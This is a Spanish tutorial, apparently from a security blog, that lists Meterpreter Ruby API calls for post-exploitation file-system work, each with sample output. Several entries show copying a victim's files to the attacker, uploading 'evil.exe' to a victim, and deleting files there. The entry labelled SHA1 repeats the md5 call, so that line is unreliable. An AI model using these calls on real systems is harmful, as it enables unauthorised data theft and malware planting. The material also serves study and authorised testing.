En este artículo el objetivo es ayudar al desarrollador de scripts de Meterpreter a localizar y conocer funciones que le serán útiles, y objetos que pueden facilitar mucho la vida del desarrollador. Hoy nos centramos en las operaciones más comunes sobre el File System en general. Si quieres comenzar el desarrollo de scripts, comienza por aprender Ruby, un lenguaje sencillo e intuitivo, y no dudes en leer estos artículos:
- Encendiendo el horno: desarrollo de scripts de Meterpreter
- Mixins de Ruby
- Evasión de eventos en los scripts de Meterpreter
Comenzemos! ( =begin )
Para listar directorios:
Syntax: client.fs.dir.entries
Output: ["AUTOEXEC.BAT", "boot.ini", "CONFIG.SYS", "Documents and Settings"]
Comment: Para listar directorio
Syntax: client.fs.dir.entries("c:\\")
Output: ["sample_file.txt","dummy_directory","myfile.exe"]
Comment: Para listar unidad C
Syntax: client.fs.dir.entries_with_info
Output: [{"FileName"=>".", "FilePath"=>"c:\\........ "st_atime"=>0, "st_mtime"=>1329581528}>}]
Comment: Para listar directorio con más información
Syntax: client.fs.dir.entries_with_info("c:\\")
Output: [{"FileName"=>".", "FilePath"=>"c:\\........ "st_atime"=>0, "st_mtime"=>1329581528}>}]
Comment: Para listar unidad C con detalle
Para operar sobre directorios:Syntax: client.fs.dir.chdir("c:\\")Output: 0Comment: Esto cambia el directorio de trabajoSyntax: client.fs.dir.mkdir("c:\\oldman")Output: 0Comment: Crea un directorio en la ruta especificadaSyntax: client.fs.dir.pwdOutput: "c:\\oldmanlab"Comment: Proporciona el actual directorio de trabajoSyntax: client.fs.dir.getwdOutput: "c:\\oldmanlab"Comment: Proporciona el actual directorio de trabajo
Syntax: client.fs.dir.delete("c:\\oldman")Output: 0Comment: Elimina el directorio solo SI está vacíoSyntax: client.fs.dir.rmdir("c:\\oldman")Output: 0Comment: Elimina el directorio solo SI está vacíoSyntax: client.fs.dir.unlink("c:\\oldman")Output: 0Comment: Elimina el directorio solo SI está vacío
Operaciones externas (download/upload): Syntax: client.fs.dir.download("/root/oldmanlab/","c:\\oldman")
Output: [".", "..", "firefox.lnk", "my_file.txt"]
Comment: Descarga todos los archivos que hay dentro del directorio de la víctima y lo almacena en la ruta local proporcionada por el atacante
Syntax: client.fs.dir.upload("c:\\oldman","/root/oldmanlab")
Output: [".", "..", "firefox.lnk", "my_file.txt"]
Comment: Esto permite subir todo el contenido dentro del directorio origen de un atacante al directorio destinto del equipo de la víctima
Operaciones extra sobre ficheros:Syntax: client.fs.file.separatorOutput: \\Comment: Devuelve el tipo de separador que utiliza el sistema, por ejemplo Windows \\ Unix /
Syntax: client.fs.file.search("c:\\oldman","hacking.txt")
Output: [{"path"=>"c:\\oldman\\lab", "name"=>"hacking.txt", "size"=>4}]
Comment: Esto permite realizar búsquedas de ficheros sobre un directorio base
Syntax: client.fs.file.basename("c:\\oldman\\hacking.txt")
Output: hacking.txt
Comment: Proporciona el nombre del fichero en concreto sin el path
Syntax: client.fs.file.expand_path("%TEMP%")
Output: "C:\\WINDOWS\\TEMP"
Comment: Devuelve el Path completo de una variable de entorno
Syntax: client.fs.file.md5("c:\\oldman\\file.txt")
Output: "\x12,\x17~Fj\xFEq\xB7?'\x01;f\x7F'"
Comment: Devuelve el hash MD5 de un fichero
Syntax: client.fs.file.md5("c:\\oldman\\file.txt")
Output: "Q\xD0\b\xFF\xFA\xD8\xF4x7_\xAE\x911\xB4\xE12V\xB8\tw"
Comment: Devuelve el hash SHA1 de un fichero
Syntax: client.fs.file.exists?("c:\\oldman\\file.txt")
Output: true
Comment: Devuelve true si el fichero existe
Syntax: client.fs.file.rm("c:\\oldman\\file.txt")
Output: Rex::Post::Meterpreter::Packet type=Response....meta=INT value=0
Comment: Elimina el fichero
Syntax: client.fs.file.unlink("c:\\oldman\\file.txt")
Output: Rex::Post::Meterpreter::Packet type=Response....meta=INT value=0
Comment: Elimina el fichero
Syntax: client.fs.file.upload("c:\\oldman","/root/lab/evil.exe")
Output: ["/root/lab/firefox.lnk"]
Comment: Subre un fichero a un directorio de la víctima
Syntax: client.fs.file.download("/root/lab/secret.exe","c:\\oldman\\secret.exe")
Output: ["c:\\oldman\\secret.exe"]
Comment: Descarga un fichero de un directorio de la víctima a un directorio local del atacante
Por hoy esto es todo, más información en la web de Oldman, un blog interesante el cual hemos querido rescatar, proporcionando el trabajo que esta persona realizó. En el próximo artículo nos centraremos en redes y OS, para que podáis diseñar e implementar vuestros scripts de Meterpreter.
Fin ( =end )